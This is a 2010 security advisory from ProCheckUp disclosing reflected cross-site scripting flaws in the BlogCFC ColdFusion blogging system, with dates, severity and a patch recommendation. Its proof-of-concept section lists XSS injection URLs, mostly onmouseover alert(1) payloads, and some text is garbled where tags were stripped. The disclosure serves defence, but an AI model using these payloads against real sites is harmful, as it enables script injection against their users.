http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-10 PR10-10 Various XSS within BlogCFC * Advisory publicly released: Tuesday, 14 December 2010 * Vulnerability found: Sunday, 2 May 2010 * Vendor informed: Monday, 3 May 2010 * Vulnerability fixed: Wednesday, 19 May 2010 * Severity level: Medium * Credits Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com) * Description BlogCFC is a ColdFusion based blogging System.Procheckup has discovered that Various BlogCFC programs are vulnerable to generic reflective Cross Site Scripting (XSS) attacks. Note: BlogCFC was tested on a fully patched Windows XP machine, ColdFusion 8 (unpatched) and SQL 2005 were used from the application server and the backend database. Note: Coldfusion 9 includes a application firewall and will replace any needs to be substituted with a tag not on the match list like (this works on IE7 & IE6) BlogCFC Versions tested 5.9.6.001 * Proof of concept Unauthenticated vanilla XSS. IE7 (Internet Explorer) browser used. http://target-domain.foo/tags/podlayout.cfm?ATTRIBUTES.TITLE=&thistag.EXECUTIONMODE=start http://target-domain.foo/tags/textarea.cfm?attributes.class=">&attributes.fieldname=Procheckup&attributes.style=1&attributes.value=1& http://target-domain.foo/includes/pods/subscribe.cfm?errorMessage="> http://target-domain.foo/index.cfm?errorMessage="> The following works due to the error page not sufficiently filtering tags on unpatched Coldfusion 8 http://target-domain.foo/stats.cfm?dur=' The following examples the Mouse has to be moved over the subscribe input box http://target-domain.foo/includes/pods/subscribe.cfm?"onmouseover="alert(1); http://target-domain.foo/index.cfm?"onmouseover="alert(1); http://target-domain.foo/search.cfm?"onmouseover="alert(1); http://target-domain.foo/stats.cfm?"onmouseover="alert(1); http://target-domain.foo/statsbyyear.cfm?"onmouseover="alert(1); http://target-domain.foo/tags/getpods.cfm?"onmouseover="alert(1); * How to fix Apply the latest patched version. * References * Legal Copyright 2010 Procheckup Ltd. All rights reserved. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.